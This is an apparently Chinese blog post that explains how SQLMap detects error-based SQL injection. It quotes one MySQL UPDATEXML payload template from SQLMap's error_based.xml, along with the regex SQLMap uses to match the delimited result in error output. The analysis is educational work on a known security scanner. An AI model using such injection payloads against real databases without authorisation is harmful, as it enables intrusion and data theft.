payload sql注入_SQLMAP检查逻辑分析-报错注入

前言

结合网上的文章以及自己对源码的分析,总结一下sql注入的自动化检测.从最简单的报错注入开始.

什么是报错注入?

利用数据库的异常处理等机制,人为的制造错误的条件,使得查询结果能够出现在错误信息中.具体的详情参考以下.

MYSQL报错注入的一点总结 - 先知社区​xz.aliyun.com
b87c1bb9c52f9bdf1a07437943ed2a19.png

自动化的报错注入检测方式

SQLMap发送Payload,正则匹配以下位置:

  • 返回内容
  • 返回的错误信息
  • 返回的Header

符合,即判断为sql注入漏洞

很简单的一个自动化注入方式,这边再顺便说一下它的payload的构成.查看error_based.xml.

<test>
    <title>MySQL &gt;= 5.1 error-based - Parameter replace (UPDATEXML)</title>
    <stype>2</stype>
    <level>4</level>
    <risk>1</risk>
    <clause>1,2,3,9</clause>
    <where>3</where>
    <vector>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))</vector>
    <request>
        <!-- These work as good as ELT(), but are longer
        <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
        <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
        -->
        <payload>(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))</payload>
    </request>
    <response>
        <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
    </response>
    <details>
        <dbms>MySQL</dbms>
        <dbms_version>&gt;= 5.1</dbms_version>
    </details>
</test>

(UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])),该payload是其中的一个,sqlmap产生一个随机数字替换[RANDNUM],并产生随机字符串替换[DELIMITER_START],[DELIMITER_STOP],报错的结果如下:

0689a533c92ae5ad8b3bab87a89cbcb0.png

sqlmap使用[DELIMITER_START](?P<result>*?)[DELIMITER_STOP]正则进行匹配.

最后

报错注入是sqlmap自动化检测比较简单的方式了,一个关键点就是采用随机数的方式进行正则匹配.以上个人理解.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值